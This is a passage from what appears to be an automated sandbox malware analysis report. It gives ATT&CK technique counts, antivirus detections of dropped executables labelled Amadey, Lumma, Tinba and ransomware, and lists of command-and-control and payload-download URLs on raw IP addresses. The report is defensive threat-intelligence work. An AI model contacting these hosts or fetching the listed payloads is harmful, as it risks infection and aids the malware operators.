Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_0061EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	13_2_0061EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_0061DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	13_2_0061DF51
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_00601204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	15_2_00601204
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_00601806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	15_2_00601806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	11 Native API	1 Scripting	1 Exploitation for Privilege Escalation	421 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	12 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Valid Accounts	2 Bypass User Account Control	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	1 Extra Window Memory Injection	12 Software Packing	NTDS	227 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	11 Registry Run Keys / Startup Folder	2 Valid Accounts	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Access Token Manipulation	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	12 Process Injection	1 Extra Window Memory Injection	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	1 Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	11 Registry Run Keys / Startup Folder	2 Valid Accounts	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	361 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	21 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	12 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1014524001\4d8dafb522.exe	100%	Avira	HEUR/AGEN.1306956
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Avira	HEUR/AGEN.1306956
C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014524001\4d8dafb522.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	50%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	55%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	66%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	29%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	66%	ReversingLabs	Win32.Trojan.Lumma
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	29%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	50%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	66%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe	66%	ReversingLabs	Win32.Trojan.Lumma
C:\Users\user\AppData\Local\Temp\1014524001\4d8dafb522.exe	55%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/c4becf79229cb002.phpHSl	100%	Avira URL Cloud	malware
http://31.41.244.11/files/fate/random.exe	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/encoxx/random.exe0	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php/$	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php5G	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpKs	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php.f	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exeT	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpxe	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpmx	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exeb	0%	Avira URL Cloud	safe
http://185.215.113.206h	0%	Avira URL Cloud	safe
http://185.215.113.206W	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique2/random.exeedu	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php524001	100%	Avira URL Cloud	malware
http://31.41.244.11/files/encoxx/random.exe	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpIGb	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpEGn	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
mira-tmc.tm-4.office.com	52.123.243.177	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
t.me	149.154.167.99	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.110	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	172.217.19.228	true	false	high
googlehosted.l.googleusercontent.com	172.217.17.65	true	false	high
drive-connect.cyou	172.67.139.78	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
grahm.xyz	116.203.10.31	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://detectportal.firefox.com/canonical.html	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 0000000D.00000002.3461057569.000000000167F000.00000004.00000020.00020000.00000000.sdmp, random[2].exe.13.dr	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001C.00000003.3146871506.000001F34BCD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EC6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php/$	skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://developers.google.com/safe-browsing/v4/advisory	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/firefox/language-tools/	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpKs	1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001F.00000002.3248690664.0000011C76E86000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr	firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exe	skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/ws	1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blocked.cdn.mozilla.net/%blockID%.html	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://31.41.244.11/	skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	false		high
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001C.00000003.3023799392.000001F349110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024007917.000001F349132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3023475220.000001F348F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024247587.000001F349153000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://github.com/lit/lit/issues/1266	firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpxe	skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php.f	skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001C.00000003.3023799392.000001F349110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024007917.000001F349132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3023475220.000001F348F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024247587.000001F349153000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.videolan.org/x264.html	mozilla-temp-41.28.dr	false		high
https://firefox-api-proxy.cdn.mozilla.net/	firefox.exe, 0000001F.00000002.3248690664.0000011C76E03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)	firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mozilla-ohttp-fakespot.fastly-edge.com/	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://31.41.244.11/files/encoxx/random.exe0	skotes.exe, 0000000D.00000002.3461057569.00000000015B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001C.00000003.3023799392.000001F349110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024007917.000001F349132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3023475220.000001F348F00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpmx	1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001C.00000003.3176989775.000001F34A834000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php5G	1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpHSl	1c49dbdc29.exe, 0000001E.00000002.3141461580.000000000192E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9	firefox.exe, 0000001C.00000003.3185586082.000001F34A878000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3169973945.000001F34A82D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3176989775.000001F34A84F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3169973945.000001F34A840000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 0000000D.00000002.3461057569.000000000167F000.00000004.00000020.00020000.00000000.sdmp, random[2].exe.13.dr	false		high
http://185.215.113.16/well/random.exe	skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	false		high
https://youtube.com/account?=https://ac	firefox.exe, 0000001F.00000002.3251303288.0000011C76FE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://accounts.firefox.com/settings/clients	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exeT	skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://api.accounts.firefox.com/v1	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206h	1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	prefs-1.js.28.dr	false		high
https://tc39.github.io/ecma262/#sec-typeof-operator	firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/	1c49dbdc29.exe, 0000001E.00000002.3141461580.0000000001986000.00000004.00000020.00020000.00000000.sdmp, 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exeb	skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://addons.mozilla.org/%LOCALE%/firefox/search-users/	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.youtube.com/	firefox.exe, 0000001F.00000002.3248690664.0000011C76E03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://%LOCALE%.malware-error.mozilla.com/?url=	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206W	1c49dbdc29.exe, 0000001E.00000002.3141461580.000000000192E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://%LOCALE%.phish-report.mozilla.com/?url=	firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpEGn	1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
